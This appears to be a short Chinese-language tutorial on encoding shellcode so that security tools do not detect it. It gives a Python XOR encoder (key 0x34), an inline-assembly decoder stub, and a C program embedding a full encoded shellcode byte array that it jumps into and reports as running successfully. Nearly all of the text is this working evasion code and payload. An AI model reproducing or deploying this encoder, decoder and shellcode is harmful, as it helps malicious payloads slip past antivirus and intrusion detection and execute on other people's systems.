shellcode编码

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shellcode没有被编码，如果shellcode中存在NULL、函数名也有可能被检测到，所以有必要对shell code进行编码。

首先将shellcode编码

#!/usr/bin/env python
import os
s=''
data =  bytes(open('d:\\1.txt','rb').read(1000))
for ch in data:
    s+='\\'+hex(ord(ch)^0x34)[1:]
print len(s),s

然后获取解密code

    _asm{

        add eax,0x16   ;此偏移是解密代码长度
        xor ecx,ecx
decrypt:
        movsx bl,byte ptr[eax+ecx]
        xor bl,0x34
        mov [eax+ecx],bl
        inc ecx 
        cmp bl,0x90
        jne decrypt
    }

最后试运行一下，成功

int main(){
char shellcode[]=
        "\x83\xc0\x16\x33\xc9\x66\xf\xbe\x1c\x8\x80\xf3\x34\x88\x1c\x8\x41\x80\xfb\x90\x75\xef"
        "\xc8\x5c\x5e\x3e\xc\x2a\x5c\x57\xbd\xe5\x7b\x5c\x6\x40\xa5\x38\xbf\xc0\xb9\x4a\xc0\x7"
        "\xef\x83\x30\x1f\xd7\x52\x8f\x7\x6\x67\x5c\x41\x47\x51\x46\x60\x7\xe6\x50\xbf\x6e\x4"
        "\xbf\x7f\x38\xbf\x7d\x28\xbf\x3d\xbf\x5d\x3c\x99\x9\x5e\x3e\xc\x2a\x41\x31\xa1\xcb\x63"
        "\xcc\xa1\x54\xbf\x71\x8\xbf\x78\x31\x4c\x37\xf9\xbf\x6d\x14\x37\xe9\x7\xcb\x73\xbf\x0"
        "\x8f\x37\xc1\xad\x3b\x8a\x32\xe\xf0\x40\x3c\xf5\xfe\x33\x37\xe4\x72\xdf\xc5\xf\x60"
        "\x10\x28\x41\xd0\xbf\x6d\x10\x37\xe9\x52\xbf\x8\x4f\xbf\x6d\x28\x37\xe9\x37\x18\x8f"
        "\xa1\x6b\x9f\x63\x55\x9\x5e\x3e\xc\x2a\x41\x9d\x7\xef\x67\x5c\x43\x51\x47\x40\x5c\x52"
        "\x55\x5d\x58\xbf\xf0\x67\x64\x64\x67\xcb\x63\xc8\x67\xcb\x63\xcc\xa4\xa4";
    _asm{
        lea eax,shellcode
        push eax
        ret
    }

    return 0;
}